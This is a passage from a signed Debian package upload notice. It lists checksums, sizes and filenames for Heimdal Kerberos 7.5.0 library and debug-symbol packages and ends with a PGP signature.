1ff06f9c6c267a9cd6fc2041052c8a0a 256956 debug optional libhdb9-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 796931b259857c9c480e25803cbf7e3a 90228 libs optional libhdb9-heimdal_7.5.0+dfsg-1_amd64.deb 95ee99a316abd85a154eaf2ffed9f309 75020 debug optional libheimbase1-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb b5d08f1f0a4eca8211a3751c43445a48 53836 libs optional libheimbase1-heimdal_7.5.0+dfsg-1_amd64.deb 89bd2831c62cdd7a3200c5bff4fd4f76 30572 debug optional libheimntlm0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 3876734d20c5a2308f60008216052735 40492 libs optional libheimntlm0-heimdal_7.5.0+dfsg-1_amd64.deb 976fc1dee4af11e4be7f24e5da99dba0 396880 debug optional libhx509-5-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 32c9d79131f6f5b04155611142a116d5 134220 libs optional libhx509-5-heimdal_7.5.0+dfsg-1_amd64.deb 6a6b521a81b2dcab45000524922cd693 80244 debug optional libkadm5clnt7-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 5b659f64f86103704a41699e153ab95a 44160 libs optional libkadm5clnt7-heimdal_7.5.0+dfsg-1_amd64.deb 8e2feee5b4c8401378fe9f7ea3ba0e3f 174016 debug optional libkadm5srv8-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 52a5572db05e1270f94fb0f647789b3b 60504 libs optional libkadm5srv8-heimdal_7.5.0+dfsg-1_amd64.deb 498e2dc04c2d72364509916f8520e563 46824 debug optional libkafs0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 112fede1e1fde311a99e08b211511c55 41292 libs optional libkafs0-heimdal_7.5.0+dfsg-1_amd64.deb 6cf1555775e23bdb7f919e88d38aa94c 237056 debug optional libkdc2-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 9d82ccd6a62f3b3405f4371975f61c86 81524 libs optional libkdc2-heimdal_7.5.0+dfsg-1_amd64.deb d4c635c9f6032aa4589c49914b49e132 1139168 debug optional libkrb5-26-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb be68bb17a2db71bf59f1dccd18b98304 234040 libs optional libkrb5-26-heimdal_7.5.0+dfsg-1_amd64.deb 8df9e74f311b9f2c368fd39e657dca7b 65764 debug optional libotp0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 4d29cf0be8aa75033e12f0e9133c25f1 55444 libs optional libotp0-heimdal_7.5.0+dfsg-1_amd64.deb 41ccb8fc8270590db3aa4f3f5d2b67fb 129756 debug optional libroken18-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 1bc42f60831544719bb9d5dec5a16f1f 66076 libs optional libroken18-heimdal_7.5.0+dfsg-1_amd64.deb 8460b71a23380bff3f2d1b5ca5df802d 22948 debug optional libsl0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb 0179a22f5f3316602543f55aad85e200 37188 libs optional libsl0-heimdal_7.5.0+dfsg-1_amd64.deb c2b1c09c8482f1dcda3c469024a46741 26944 debug optional libwind0-heimdal-dbgsym_7.5.0+dfsg-1_amd64.deb dc0ec30c08198a6bba2a5d4a113b28d2 73992 libs optional libwind0-heimdal_7.5.0+dfsg-1_amd64.deb -----BEGIN PGP SIGNATURE----- iQJlBAEBCABPFiEEPJ1UpHV1wCb7F/0mt5o8FqDE8pYFAlozLFwxGmh0dHBzOi8v d3d3LmRvbWluaWstZ2VvcmdlLmRlL2dwZy1wb2xpY3kudHh0LmFzYwAKCRC3mjwW oMTyliNND/97HgBI+FupdBtuFd63/jCE9oNcSdh7UWRDdQiSWhn8tdfgSoGLNJY9 OOVJLo6MlsQFf3NARxPtPU6pWPjbsJeZa5zhlcLjtSNnleJ5AThcMAi+VbfH4Zhy ohRVoYWXl/kNAwGOah3RC4gvPSms/CmIhbNI0F8tcqK+ZG5kIPS5kjciknTpxm3o quIlqHHaY+32k7NcvNOYDW87+JKADbXfrLBUpxiDEUEHFsy5tsSCdN1TyU/pWJJq s2ndKuD9/1qGMfrAIKw3Tf0JRAEtl11na7qrM8ORlkYnpKRWE/SkPM/fBdx692zR mBvQUAVVObGqTFEys29I5e0sYS2WS8wh20IRK97gGxokJmWuF5jA6Gfs77v1+sGF utiPWtGeArB1sD2BmRp+d934+QLQHb9dBv02H+DTRqv7IvoRK5+CjoOwkND8HcsV B09bMEPVTv7/YyhSHlObUwncD6qrVQY7ILL6sUgQ3CnGnmhM5r/3iCLdwzWrIYuQ b4zPpMlyIE5StVyc8Q1Am2ACInTyB5wA1YxD+xelGmVjSSIDd55wqhEP35QJ4qYI 2MCiqBZNGmpqXjm3ItokPzdtcERnf9IB1WrEA+nVCGjCVauKctw5Yw9vXyRtpx3X 5qKY4qHLoYhDegWT9vf3K1/mr8cYGvUxiZAeSYh5Sn4u5VaCBYuCdQ== =v5io -----END PGP SIGNATURE-----
--- End Message ---